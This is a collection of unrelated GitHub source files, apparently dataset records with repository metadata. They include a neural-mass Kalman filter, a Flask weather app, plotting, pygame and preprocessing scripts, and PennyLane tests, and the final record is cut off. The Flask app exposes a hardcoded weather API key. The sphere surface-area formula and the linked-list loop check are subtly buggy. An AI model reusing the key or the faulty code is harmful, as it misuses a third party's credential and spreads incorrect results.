Authors:\n Dean Freestone, Philippa Karoly 2016\n\n This code is licensed under the MIT License 2018\n\n\n Parameters\n ----------\n N_syn :\n N synapses in the model.\n N_states :\n N estimation states.\n N_inputs :\n N external inputs.\n A :\n A - Matrix describing the neural mass model equations.\n B :\n B - Matrix describing the neural mass model equations.\n C :\n C - Matrix describing the neural mass model equations.\n P_0p :\n Initial covariance matrix.\n xi_0p :\n Initial mean matrix.\n varsigma :\n Sigmoid function parameter - variance.\n v0 :\n Sigmoid function parameter - initial value.\n Q :\n Model unvertainty matrix (same dimensions as P).\n\n Returns\n -------\n xi_1m :\n Posterior mean matrix.\n P_1m :\n Posterior covariance matrix.\n\n References\n ----------\n Further details on the estimation method can be found in\n the following references:\n\n [1] Freestone, D. R., Karoly, P. J., Neši?, D., Aram, P., Cook, M. J., & Grayden, D. B. (2014).\n Estimation of effective connectivity via data-driven neural modeling. Frontiers in neuroscience, 8, 383\n\n [2] Ahmadizadeh, S., Karoly, P. J., Neši?, D., Grayden, D. B., Cook, M. J., Soudry, D., & Freestone, D. R. (2018).\n Bifurcation analysis of two coupled Jansen-Rit neural mass models. PloS one, 13(3), e0192842.\n\n [3] Kuhlmann, L., Freestone, D. R., Manton, J. H., Heyse, B., Vereecke, H. E., Lipping, T., ... & Liley, D. T. (2016).\n Neural mass model-based tracking of anesthetic brain states. NeuroImage, 133, 438-456.\n\n \"\"\"\n # Give\n\n v_indexes = np.array(range(0, 2*N_syn+1, 2))\n z_indexes = np.array(range(1, 2*N_syn+1, 2))\n alpha_indexes = np.array(range(2*N_syn+N_inputs, N_states))\n\n w_fast = np.reshape(np.array([0.1713244923791705, 0.3607615730481384, 0.4679139345726904, 0.1713244923791705, 0.3607615730481384, 0.4679139345726904]), [1,6])\n y_fast = np.array([0.033765242898424, 0.169395306766868, 0.380690406958402, 0.966234757101576, 0.830604693233132, 0.619309593041599])\n\n CPC = np.matmul(np.matmul(C[z_indexes, :], P_0p) , np.transpose(C[z_indexes, :])) # CPC' # Consider adding np.newaxis as in Bxi line\n dCPC = np.diag(CPC)\n dCPB = np.diag(np.matmul(np.matmul(C[z_indexes, :], P_0p) , np.transpose(B[z_indexes, :]))) #diagonal of CPB'\n Bxi = np.matmul(B[z_indexes[:, np.newaxis], alpha_indexes[np.newaxis,:]], xi_0p[alpha_indexes])\n AP = np.matmul(A, P_0p)\n\n # Analytic mean\n gamma = np.divide(1,np.sqrt(abs(2*(dCPC + varsigma**2))))# gamma = np.divide(1,np.sqrt(2*(dCPC + varsigma**2))) # gamma = np.divide(1,np.sqrt(abs(2*(dCPC + varsigma**2)))) #\n beta = (np.matmul(C[z_indexes[:, np.newaxis], v_indexes[np.newaxis, :]], xi_0p[v_indexes]) - v0) * gamma\n Xi = np.zeros(beta.shape)\n for i in range(0, Xi.size):\n Xi[i] = (math.erf(beta[i]) + 1)/2\n\n Upsilon = np.divide((np.exp( -(pow(np.array(beta), 2))) * gamma), np.sqrt(np.pi))\n psi = (Bxi * Xi) + (dCPB * Upsilon)\n\n xi_1m = np.matmul(A, xi_0p)\n xi_1m[np.array(range(1, 2*N_syn,2))] = xi_1m[np.array(range(1, 2*N_syn,2))] + psi\n\n # Exact covariance\n # cov part 1 (Phi)\n q2 = Upsilon * (Bxi - dCPB * beta * (gamma ** 2) * 2)\n Phi_ = np.matmul(np.ones([N_states, 1]), np.reshape(q2, [1, q2.size])) * np.matmul(AP, np.transpose(C[z_indexes,:]))\n Phi = Phi_ + ( np.matmul(np.ones([N_states, 1]), np.reshape(Xi, [1, Xi.size])) * np.matmul(AP, np.transpose(B[z_indexes,:])) )\n\n # cov part 2 (Omega)\n # NOTE: we can reduce the dimensionality (only compute upper triangle\n # part) of the matrices we turn to vectors to increase speed in larger\n # networks.\n with np.errstate(invalid='raise'):\n try:\n CPCgammagamma = np.arcsin(CPC * np.matmul(np.reshape(gamma, [gamma.size, 1]), np.reshape(gamma, [1, gamma.size]))*2)\n except:\n CPC_lower_1 = np.array(CPC)\n CPC_lower_1[abs(CPC) > 1] = CPC[abs(CPC) > 1]/abs(CPC[abs(CPC) > 1])\n CPCgammagamma = np.arcsin(CPC_lower_1 * np.matmul(np.reshape(gamma, [gamma.size, 1]), np.reshape(gamma, [1, gamma.size]))*2)\n\n CPCgammagamma = np.reshape(CPCgammagamma, [CPCgammagamma.size,1]) # Change matrix into a vector\n CPCgammagamma_y = np.matmul(CPCgammagamma, np.reshape(y_fast, [1, y_fast.size])) # a Matrix of row vectors\n\n # Warning! Check if x2 should go or not. It goes in MATLAB version\n betabeta = np.matmul(np.reshape(beta, [beta.size, 1]), np.reshape(beta, [1, beta.size]))*2\n betabeta_mat = np.matmul(np.reshape(betabeta, [betabeta.size, 1]), np.ones([1, w_fast.size]))\n\n beta2mat = np.matlib.repmat(np.reshape(beta**2, [beta.size, 1]), 1, beta.size) # square and repmat\n beta2matT = np.transpose(beta2mat) # Transpose allows for permutation when we sum below\n b2b2T = np.reshape(beta2matT, [beta2mat.size, 1]) + np.reshape(beta2mat, [beta2mat.size, 1]) # Change to vector, add, repmat\n b2b2T = np.matlib.repmat(b2b2T, 1, w_fast.size)\n\n # Put it together\n # Psi = reshape(sum(CPCgammagamma*w_fast.*exp(-(beta2_plus_beta2T - betabeta_mat.*sin(CPCgammagamma_y))./cos(CPCgammagamma_y).^2),2),N_syn,N_syn)/(4*pi);\n Psi = np.matmul(CPCgammagamma, w_fast) * np.exp(-(b2b2T - betabeta_mat * np.sin(CPCgammagamma_y))/(np.cos(CPCgammagamma_y ** 2)))\n Psi = np.reshape(np.sum(Psi, axis=1), [N_syn, N_syn]) / (4*np.pi)\n\n Xi = np.reshape(Xi, [Xi.size, 1]) # Fix Xi dimmensions\n Bxi = np.reshape(Bxi, [Bxi.size, 1]) # Fix Bxi dimmensions\n Omega = (np.matmul(Xi,np.transpose(Xi)) + Psi) * (np.matmul(Bxi,np.transpose(Bxi)) + P_0p[alpha_indexes[np.newaxis, :], alpha_indexes[:, np.newaxis]])\n # ~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~\n # E[g^2(Cxi)] (alpha^2 + sigma_alpha^2)\n\n # Here we construct the cov matrix:\n psi = np.reshape(psi, [psi.size, 1]) # Fix psi dimmesnions\n P_1m = np.matmul(AP, np.transpose(A)) + Q\n P_1m[z_indexes[np.newaxis,:], z_indexes[:, np.newaxis]] = P_1m[z_indexes[np.newaxis,:], z_indexes[:, np.newaxis]] + Omega - np.matmul(psi, np.transpose(psi))\n P_1m[:, z_indexes] = P_1m[:, z_indexes] + Phi\n P_1m[z_indexes, :] = P_1m[z_indexes, :] + np.transpose(Phi)\n\n # Define output arguments\n output = {\n 'xi_1m': xi_1m,\n 'P_1m': P_1m,\n }\n return output\n\n# save estimates to parquet files\ndef save_estimate(estimate, save_file_name):\n arrays = [\n pa.array(col) # Create one arrow array per column\n for col in estimate\n ]\n\n table = pa.Table.from_arrays(\n arrays,\n names=[str(i) for i in range(len(arrays))] # give names to each columns\n )\n pq.write_table(table,save_file_name)\n\n# load estimate from parquet files\ndef load_estimate(save_file_name):\n table_from_parquet = pq.read_table(save_file_name)\n matrix_from_parquet = table_from_parquet.to_pandas().T.to_numpy()\n return matrix_from_parquet\n\nif __name__ == \"__main__\":\n # This part is hardcoded for a demo case\n # Please modify it according to your needs\n # You can use your own data by changing the following lines [503-511]\n print('##################################################')\n print('This demonstration requires a lot of storage space \\n due to the parameter estimates file is very big.\\n')\n print('Consider downsampling or reducing channels.')\n print('##################################################')\n\n if not os.path.exists('./output/21'):\n os.makedirs('./output/21')\n\n data_dict = mat73.loadmat('./data/data_21.mat')\n data = data_dict['virtualdata_timeseries']\n time = 50\n Fs = 150\n channels = 4714\n downsampled_size = 33375 # downsample the meg data\n\n aEP_collection = np.zeros([channels, downsampled_size])\n aIP_collection = np.zeros([channels, downsampled_size])\n aPE_collection = np.zeros([channels, downsampled_size])\n aPI_collection = np.zeros([channels, downsampled_size])\n mu_collection = np.zeros([channels, downsampled_size])\n v_e_collection = np.zeros([channels, downsampled_size])\n v_i_collection = np.zeros([channels, downsampled_size])\n v_p_collection = np.zeros([channels, downsampled_size])\n\n # Run the filter for demonstration\n for iCh in range(0,channels):\n print('Channel %02d ...' % (iCh)) # Print current channel\n y = data[iCh,:]\n y = 5.4724e+12 * y # scale the data to the same magnitude of the model output\n y = signal.resample(y, downsampled_size) # downsample the data\n\n # Initialize input\n ext_input = 300#300 # External input\n input_offset = np.empty(0)\n\n # Parameter initialization\n params = set_params(ext_input, input_offset, time,Fs)\n\n # Retrive parameters into single variables\n A = params['A']\n B = params['B']\n C = params['C']\n H = params['H']\n N_inputs = params['N_inputs']\n N_samples = params['N_samples']\n N_states = params['N_states']\n N_syn = params['N_syn']\n Q = params['Q']\n R = params['R']\n v0 = params['v0']\n varsigma = params['varsigma']\n xi = params['xi']\n\n xi_hat_init = np.mean( params['xi'][:, int(np.round(N_samples/2))-1:] , axis = 1)\n P_hat_init = 10 * np.cov(params['xi'][:, int(np.round(N_samples/2))-1:])\n P_hat_init[2*N_syn:, 2*N_syn:] = np.eye(N_syn + N_inputs) * 10e-2\n\n # Set initial conditions for the Kalman Filter\n xi_hat = np.zeros([N_states, N_samples])\n P_hat = np.zeros([N_states, N_states, N_samples])\n P_diag = np.zeros([N_states, N_samples])\n\n xi_hat[:,0] = xi_hat_init\n P_hat[:,:,0] = P_hat_init\n\n anneal_on = 1 # Nice!\n kappa_0 = 10000\n T_end_anneal = N_samples/20\n\n N_samples = y.size\n\n # Set initial conditions for the Kalman Filter\n xi_hat = np.zeros([N_states, N_samples])\n P_hat = np.zeros([N_states, N_states, N_samples])\n P_diag = np.zeros([N_states, N_samples])\n xi_hat[:,0] = xi_hat_init\n P_hat[:,:,0] = P_hat_init\n\n try:\n for t in range(1,N_samples):\n\n xi_0p = xi_hat[:, t-1].squeeze()\n P_0p = P_hat[:, :, t-1].squeeze()\n\n # Predict\n metrics = propagate_metrics(N_syn, N_states, N_inputs, A, B, C, P_0p, xi_0p, varsigma, v0, Q)\n xi_1m = metrics['xi_1m']\n P_1m = metrics['P_1m']\n\n if (t <= T_end_anneal) & (anneal_on):\n kappa = pow(kappa_0, (T_end_anneal-t-1)/(T_end_anneal-1))\n else:\n kappa = 1\n\n # K = P_1m*H'/(H*P_1m*H' + kappa*R);\n K = np.divide(np.matmul(P_1m, np.transpose(H)), np.matmul(H, np.matmul(P_1m, np.transpose(H))) + kappa*R)\n\n # Correct\n xi_1m = np.reshape(xi_1m, [xi_1m.size, 1])\n xi_hat[:, t:t+1] = xi_1m + K*(y[t] - np.matmul(H, xi_1m))\n\n P_hat[:,:,t] = np.matmul((np.identity(N_states) - np.matmul(K,H)), P_1m)\n try:\n P_hat[:,:,t] = (P_hat[:,:,t] + np.transpose(P_hat[:,:,t]))/2\n chol_matrix = np.linalg.cholesky(P_hat[:,:,t])\n except(np.linalg.LinAlgError):\n P_hat[:,:,t] , k = nearest_spd(P_hat[:,:,t])\n if k == -1:\n print(file, 'cannot find PSD')\n P_diag[:,t] = np.diag(P_hat[:,:,t])\n\n aEP_collection[iCh,:] = xi_hat[12,:]\n aIP_collection[iCh,:] = xi_hat[9,:]\n aPE_collection[iCh,:] = xi_hat[11,:]\n aPI_collection[iCh,:] = xi_hat[10,:]\n mu_collection[iCh,:] = xi_hat[8,:]\n v_e_collection[iCh,:] = xi_hat[4,:]\n v_i_collection[iCh,:] = xi_hat[2,:]\n v_p_collection[iCh,:] = np.matmul(H,xi_hat)\n except:\n continue\n\n# save estimates to parquet files to minimise the storage required\n save_estimate(aEP_collection, './output/21/aEP_estimate.pq')\n save_estimate(aIP_collection, './output/21/aIP_estimate.pq')\n save_estimate(aPE_collection, './output/21/aPE_estimate.pq')\n save_estimate(aPI_collection, './output/21/aPI_estimate.pq')\n save_estimate(mu_collection, './output/21/mu_estimate.pq')\n save_estimate(v_e_collection, './output/21/v_e_estimate.pq')\n save_estimate(v_i_collection, './output/21/v_i_estimate.pq')\n save_estimate(v_p_collection, './output/21/v_p_estimate.pq')\n","repo_name":"yundumbledore/NeuroProcImager","sub_path":"run_akf_python.py","file_name":"run_akf_python.py","file_ext":"py","file_size_in_byte":26203,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"82"} +{"seq_id":"17942202573","text":"import math\r\n\r\nradius = float(input(\"Enter the radius: \"))\r\n\r\ndiameter = radius * 2\r\nprint(\"Diameter is %.2f\" % diameter)\r\n\r\ncircumference = 2 * math.pi * radius\r\nprint(\"Circumference is %.2f\" % circumference)\r\n\r\nsa = 4 * math.pi * math.pi**2\r\nprint(\"Surface area is %.2f\" % sa)\r\n\r\nvolume = (4/3) * math.pi * radius**3\r\nprint(\"Volume is %.2f\" % volume)\r\n","repo_name":"teashas/Fundamentals-to-Computer-Programming","sub_path":"sphereProperties.py","file_name":"sphereProperties.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13962678616","text":"from flask import Flask, render_template, url_for, request\nimport json, requests\nfrom datetime import datetime\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef index(): \n\tcurrent_year = datetime.now().strftime('%Y')\n\n\tcity = \"Lublin\"\n\tAPI_key = \"61c66953209ff42795cae8fb985bdcec\"\n\n\turl = f\"https://api.openweathermap.org/data/2.5/weather?q={city}&appid={API_key}&units=metric&lang=PL\"\n\n\tres = requests.get(url)\n\tdata = res.json()\n\t#print(data) # MAIN DF\n\t#print(data['weather']) # CLOUDS / ICON: [0]{'id': 802, 'main': 'Clouds', 'description': 'scattered clouds', 'icon': '03n'}\n\t#print(data['main']) # TEMP INFO: {'temp': 1.78, 'feels_like': -4.33, 'temp_min': 0.13, 'temp_max': 1.88, 'pressure': 1018, \\\n\t\t\t\t\t\t# 'humidity': 73, 'sea_level': 1018, 'grnd_level': 989}\n\t#print(data['wind']) # WIND INFO: {'speed': 8.9, 'deg': 310, 'gust': 16.51}\n\n\t# current_temp = data['main']['temp']\n\t# feels_like = data['main']['feels_like']\n\t# pressure = data['main']['pressure']\n\t# condition = data['weather'][0]['description']\n\n\treturn render_template(\"index.html\", data=[data, current_year])\n\n\n@app.route('/tst')\ndef tst_page():\n return render_template(\"index.html\") \n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n ","repo_name":"VirtuozJack/skylux","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18070784657","text":"#!/usr/bin/env python3\n\nimport sys\nfrom pathlib import Path\n\nfilepath = Path(__file__)\ntest_filename = filepath.stem + '.txt'\ntest_filepath = filepath.parent / test_filename\npart_one_answer = 768\npart_two_answer = 0\n\n\ndef parse(input_path: Path) -> list[str]:\n return input_path.read_text().strip().split('\\n')\n\n\ndef process_grid(lines: list[str], lights: list[list[int]]) -> list[list[int]]:\n for row, line in enumerate(lines):\n for col, value in enumerate(line):\n if value == '#':\n lights[row][col] = 1\n return lights\n\n\ndef count_neighbors(row: int, col: int, grid: list[list[int]]) -> int:\n count = 0\n\n for dr in [-1, 0, 1]:\n for dc in [-1, 0, 1]:\n if dr == 0 and dc == 0:\n continue\n if 0 <= row + dr < len(grid) and 0 <= col + dc < len(grid[0]) and abs(grid[row + dr][col + dc]) == 1:\n count += 1\n\n return count\n\n\ndef step_grid(grid: list[list[int]]) -> list[list[int]]:\n for row in range(len(grid)):\n for col in range(len(grid[0])):\n count = count_neighbors(row, col, grid)\n\n if grid[row][col] == 1:\n if count < 2 or count > 3:\n grid[row][col] = -1\n else:\n if count == 3:\n grid[row][col] = 2\n\n for row in range(len(grid)):\n for col in range(len(grid[0])):\n if grid[row][col] == -1:\n grid[row][col] = 0\n elif grid[row][col] == 2:\n grid[row][col] = 1\n return grid\n\n\ndef part_one(lines: list[str], steps: int = 100) -> int:\n grid = process_grid(lines=lines, lights=[[0] * len(lines[0]) for _ in range(len(lines))])\n\n for i in range(steps):\n step_grid(grid)\n\n return sum(sum(row) for row in grid)\n\n\ndef part_two(lines: list[str], steps: int = 100) -> int:\n grid = process_grid(lines=lines, lights=[[0] * len(lines[0]) for _ in range(len(lines))])\n m = len(grid) - 1\n n = len(grid[0]) - 1\n\n for i in range(steps):\n step_grid(grid)\n grid[0][0] = 1\n grid[m][0] = 1\n grid[0][n] = 1\n grid[m][n] = 1\n\n return sum(sum(row) for row in grid)\n\n\nif __name__ == '__main__':\n paths = [test_filename] if len(sys.argv) <= 1 else sys.argv[1:]\n\n for path_str in paths:\n print(f'\\n{path_str}:')\n puzzle_input = parse(Path(path_str))\n\n part_one_actual = part_one(puzzle_input)\n part_two_actual = part_two(puzzle_input)\n\n result_one = '\\u2705 ' if part_one_actual == part_one_answer else '\\u274c '\n result_two = '\\u2705 ' if part_two_actual == part_two_answer else '\\u274c '\n\n print(result_one, 'Part One:', part_one_actual)\n print(result_two, 'Part Two:', part_two_actual)\n","repo_name":"gregoryinouye/adventofcode","sub_path":"2015/18/2015-18.py","file_name":"2015-18.py","file_ext":"py","file_size_in_byte":2769,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"72412632268","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport os\nfrom scipy.spatial.distance import pdist,squareform\nimport scipy.cluster.hierarchy as sch\nimport matplotlib as mpl\nfrom matplotlib import cm\nimport matplotlib\nfrom scipy.interpolate import spline, UnivariateSpline\nimport math\n\n\ndef despine(ax):\n\tax.spines['right'].set_visible(False)\n\tax.spines['top'].set_visible(False)\n\tax.yaxis.set_ticks_position('left')\n\tax.xaxis.set_ticks_position('bottom')\n\n\tax.spines['left'].set_visible(False)\n\tax.spines['bottom'].set_visible(False)\n\t# Only show ticks on the left and bottom spines\n\tax.yaxis.set_ticks_position('left')\n\tax.xaxis.set_ticks_position('bottom')\n\tax.set_xticks([])\n\tax.set_yticks([])\ndef main():\n\tSRRS \t= \"SRR1105736\", \"SRR1596501\", \"SRR1648886\", \"SRR1552480\", \"SRR579299\",\"SRR1745519\"\n\tDIR \t= \"/Users/joazofeifa/Lab/new_motif_distances/human/300/\"\n\tM \t\t= {}\n\tVAR \t= {}\n\tR \t\t= {}\n\tDD \t= {}\n\tfor i,SRR in enumerate(SRRS):\n\t\tcollect \t= False\n\t\tM \t\t\t= {}\n\t\tfor line in open(DIR+ SRR + \"_MDS.tsv\"):\n\t\t\tif \"Binned\" in line:\n\t\t\t\tbreak\n\t\t\telif line[0]!=\"#\":\n\t\t\t\tline_array \t= line.strip(\"\\n\").split(\"\\t\")\n\t\t\t\tmotif \t\t= line_array[0]\n\n\t\t\t\tM[motif] \t=float(line_array[2].split(\",\")[2]) -float(line_array[-2].split(\",\")[0])\n\t\tDD[SRR] \t= M\n\t\tvals \t\t= zip(M.values(), M.keys())\n\t\tvals.sort()\n\t\tfor i,(p,m) in enumerate(vals):\n\t\t\tif m not in R:\n\t\t\t\tR[m] \t= list()\n\t\t\tR[m].append(i)\n\tF \t\t= plt.figure(figsize=(7,4),facecolor=\"white\")\n\tax \t= plt.gca()\n\tx_plot \t= np.linspace(-1, 1, 100)\n\ty_plot \t= 1./(1+np.exp(-x_plot*7))\n\tx_plot \t= np.linspace(0, 1, 100)\n\txs \t\t= np.linspace(-1,1,100)\n\tticks \t= list()\n\tMS \t\t= list()\n\tF \t\t\t= [\"HO_GATA1_HUMAN.H10MO.A\", \"HO_NANOG_HUMAN.H10MO.A\", \n\t\t\t\t\t\"HO_ATF3_HUMAN.H10MO.A\", \"HO_HOMEZ_HUMAN.H10MO.D\" ]\n\tfor m in R:\n\t\tX,Y \t\t\t= list(),list()\t\t\n\t\tfor i in range(len(R[m])-1):\n\t\t\tslope \t= (R[m][i+1]-R[m][i])\n\t\t\tbase \t\t= R[m][i]\n\t\t\ty_scaled = y_plot*slope + base\n\t\t\tX+=list(x_plot + i)\n\t\t\tY+=list(y_scaled)\n\t\tif [1 for f in F if f in m] :\n\t\t\tticks.append(Y[-1])\n\t\t\tMS.append(m)\n\t\t\tax.plot(X,Y,lw=0.75,alpha=1.0,color=\"blue\")\n\t\telif np.random.uniform(0,1) < 0.4:\n\t\t\tax.plot(X,Y,lw=0.5,alpha=0.05,color=\"green\")\n\n\tnorm = mpl.colors.Normalize(vmin=-0.2, vmax=0.2)\n\tcmap = cm.seismic\n\tfor k in range(len(SRRS)):\n\t\tD \t\t= DD[SRRS[k]].values()\n\t\tD.sort()\n\n\t\tm \t\t= cm.ScalarMappable(norm=norm, cmap=cmap)\n\t\tcs \t= np.arange(0,len(D), 10)\n\t\tfor i in range(1,len(cs)) :\n\t\t\tax.plot([k,k], [cs[i-1], cs[i]] ,lw=2,color=m.to_rgba(D[cs[i]]))\n\n\n\tax.set_xlim(-0.1,len(SRRS)-0.9)\n\tdespine(ax)\n\tax.yaxis.tick_right()\n\tax.set_yticks([])\n\tax.set_xticks(range(len(SRRS)))\n\tax.set_xticklabels([\"Allen\\n(2014)\", \"Andersson\\n(2014)\", \"Puc\\n(2015)\",\"Core\\n(2014)\",\n\t\t\t\t\t\t\t\"Danko\\n(2013)\",\"Estaras\\n(2015)\" ],fontsize=15)\n\tax.set_ylabel(\"MD Score Rank\",fontsize=20)\n\tplt.savefig(\"../svg_final/M3D_rank.svg\")\n\tplt.show()\n\n\nmain()\n\n\n\n","repo_name":"azofeifa/Azofeifa2017","sub_path":"src/M3D.py","file_name":"M3D.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14249386718","text":"import pygame\nfrom graph_data import graph\nfrom initializer import init_data\n\n\ndef deploy_network():\n\n global edges, screen\n\n pygame.init()\n done = False\n\n screen = pygame.display.set_mode(init_data['screen_dimension'])\n\n clock = pygame.time.Clock()\n\n screenSep()\n\n build_edges()\n\n for start, end in edges:\n pygame.draw.line(\n screen, init_data['color_white'], graph[start][0], graph[end][0], 2)\n\n pygame.display.update()\n clock.tick(5)\n pygame.time.delay(3000)\n\n for coords, _ in graph:\n draw_circles(coords)\n\n pygame.display.update()\n\n while not done:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n\n pygame.display.flip()\n\n\ndef edge_id(n1, n2): # normalize id for either order\n # (1,2) and (2,1) become (1,2)\n return tuple(sorted((n1, n2)))\n\n\ndef build_edges():\n global edges\n edges = {}\n for n1, (_, adjacents) in enumerate(graph):\n for n2 in adjacents:\n eid = edge_id(n1, n2)\n if eid not in edges:\n edges[eid] = (n1, n2)\n\n\ndef draw_circles(coords):\n\n pygame.draw.circle(\n screen, init_data['node_init_color'][0], coords, init_data['node_radius'])\n if coords == (350, 490):\n pygame.draw.circle(\n screen, init_data['red'], coords, init_data['node_radius']-4)\n elif coords == (140, 420):\n pygame.draw.circle(\n screen, init_data['red'], coords, init_data['node_radius']-4)\n else:\n pygame.draw.circle(\n screen, init_data['node_init_color'][1], coords, init_data['node_radius']-4)\n\n\ndef screenSep():\n pygame.draw.line(screen, init_data['screen_sep'][2], init_data['screen_sep']\n [0], init_data['screen_sep'][1], width=init_data['screen_sep'][3])\n","repo_name":"ananthugiridhar/Context-based-routing","sub_path":"network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27175267118","text":"from LinkedList import LinkedList\nfrom Node import Node\n# Access head_node => list.get_head()\n# Check if list is empty => list.is_empty()\n# Delete at head => list.delete_at_head()\n# Delete by value => list.delete(value)\n# Search for element => list.search()\n# Length of the list => list.length()\n# Node class { int data ; Node next_element;}\n\n\ndef detect_loop(lst):\n \n slow, fast = lst.get_head(), lst.get_head()\n\n while fast:\n\n slow = slow.next_element\n\n fast = fast.next_element.next_element\n\n if fast is slow:\n return True\n return False\n","repo_name":"javokhirbek1999/Educative","sub_path":"Learning-Paths/Ace-the-Python-Coding-Interview/Data-Structures/Linked-Lists/Detected-Loop-in-a-Linked-List.py","file_name":"Detected-Loop-in-a-Linked-List.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14486386645","text":"import numpy as np\nimport pytest\n\nfrom pennylane import qchem\n\n\n@pytest.mark.parametrize(\n (\"n_electrons\", \"m_spin_orbitals\", \"exp_init_state\"),\n [\n (2, 5, np.array([1, 1, 0, 0, 0])),\n (1, 5, np.array([1, 0, 0, 0, 0])),\n (5, 5, np.array([1, 1, 1, 1, 1]))\n ]\n)\ndef test_hf_state(n_electrons, m_spin_orbitals, exp_init_state):\n\n r\"\"\"Test the correctness of the generated occupation-number vector\"\"\"\n\n res_init_state = qchem.hf_state(n_electrons, m_spin_orbitals)\n\n assert len(res_init_state) == len(exp_init_state)\n assert np.allclose(res_init_state, exp_init_state)\n\n\n@pytest.mark.parametrize(\n (\"n_electrons\", \"m_spin_orbitals\", \"msg_match\"),\n [\n (0, 5, \"number of active electrons has to be larger than zero\"),\n (-1, 5, \"number of active electrons has to be larger than zero\"),\n (6, 5, \"number of active orbitals cannot be smaller than the number of active\"),\n ]\n)\ndef test_inconsistent_input(n_electrons, m_spin_orbitals, msg_match):\n\n r\"\"\"Test that an error is raised if a set of inconsistent arguments is input\"\"\"\n\n with pytest.raises(ValueError, match=msg_match):\n qchem.hf_state(n_electrons, m_spin_orbitals)\n","repo_name":"unimauro/pennylane","sub_path":"qchem/tests/test_hf_state.py","file_name":"test_hf_state.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"17332831669","text":"from PIL import Image\nimport numpy as np\nimport os.path\nimport pickle\nimport time\n\n# Read landmarks\n# Delete the first two rows of 'list_landmarks_align_celeba.txt' and rename it to 'landmarks_align.txt'\ndef read_landmarks(landmark_folder_path):\n landmarks_path = os.path.join(landmark_folder_path, 'landmarks_align.txt')\n landmarks_file = open(landmarks_path, 'r')\n landmarks = np.loadtxt(landmarks_file, usecols = (1,2,3,4,5,6,7,8,9,10))\n return landmarks\n\n# Return an image\ndef read_one_image(image_folder_path, image_name):\n image_path = os.path.join(image_folder_path, image_name)\n image = Image.open(image_path)\n return image\n\n# Crop one image and resize it\n# Return ndarray\ndef resize_one_image(index, image, landmarks, save_flag = False, save_folder_path = './celeba_data/image_align_processed'):\n image_data = np.asarray(image, dtype = \"int32\")\n width, height = image_data.shape[0], image_data.shape[1]\n left_eye_x, left_eye_y, right_eye_x, right_eye_y, nose_x, nose_y, left_mouth_x, left_mouth_y, right_mouth_x, right_mouth_y = landmarks[index-1]\n length_crop = 80\n edge_to_eye = 20\n edge_to_mouth = 60\n length_resize = 80\n if left_eye_x - edge_to_eye < 0:\n left = 0\n right = left + length_crop\n elif right_eye_x + edge_to_eye > width - 1:\n right = width - 1\n left = right - length_crop\n else:\n left = left_eye_x - edge_to_eye\n right = left + length_crop\n\n mouth_mean_y = np.mean([left_mouth_y, right_mouth_y])\n if mouth_mean_y - edge_to_mouth < 0:\n upper = 0\n lower = upper + length_crop\n elif mouth_mean_y + (length_crop - edge_to_mouth) > height - 1:\n lower = height - 1\n upper = lower - length_crop\n else:\n upper = mouth_mean_y - edge_to_mouth\n lower = upper + length_crop\n\n image_cropped = image.crop((left, upper, right, lower))\n image_resized = image_cropped.resize((length_resize, length_resize))\n\n if save_flag:\n resized_image_name = 'resized_' + str(length_resize) + '_' + str(index).zfill(6) + '.jpg'\n image_resized.save(os.path.join(save_folder_path, resized_image_name))\n\n return image_resized\n\n# Write array of image data to pickle files\ndef write_to_pickle(landmark_folder_path = './celeba_data', image_folder_path = './celeba_data/image_align',\n save_folder_path = './celeba_data/pickle', start_index = 1, end_index = 202599, verbose_step = 1000, save_step = 10000):\n if start_index < 1:\n start_index = 1\n if end_index > 202599:\n end_index = 202599\n\n image_data_list = []\n landmarks = read_landmarks(landmark_folder_path)\n print('Landmarks read')\n\n last_saved_index = start_index - 1\n tic = time.time()\n for index in range(start_index, end_index + 1):\n image_name = str(index).zfill(6) + '.jpg'\n image = read_one_image(image_folder_path, image_name)\n image_resized = resize_one_image(index, image, landmarks)\n image_resized_data = np.asarray(image_resized, dtype='uint8')\n image_data_list.append(image_resized_data)\n\n if index % verbose_step == 0:\n print('Completed image index: ' + str(index))\n\n if index % save_step == 0 or index == end_index:\n image_data_array = np.array(image_data_list)\n\n pickle_name = str(last_saved_index + 1).zfill(6) + '_' + str(min(end_index, index)).zfill(6) +'.pickle'\n pickle_path = os.path.join(save_folder_path, pickle_name)\n pickle.dump(image_data_array, open(pickle_path,'wb'))\n\n toc = time.time()\n print('Saved to file: ' + pickle_name)\n print('Time for this batch is: ' + str(toc - tic) + 's')\n\n image_data_list = []\n last_saved_index = index\n tic = time.time()\n\n# Run this line\nwrite_to_pickle()\n","repo_name":"Yi-61/Image_Completion_CS230","sub_path":"Image_Generation/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":3847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71671889548","text":"# %%\nimport os\nimport sys\nimport pandas as pd\n\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nimport src.Entities as ent\nimport src.s01_LoadDataFromDB as ld\nimport src.s02_DataPreprocessing as dp\nimport src.s03_SplitData as spd\n\n# %%\ndef SaveDataAsCSVFile(df:pd.DataFrame, file_name:str):\n\n dv = ent.DefaultValues()\n proj_dir = 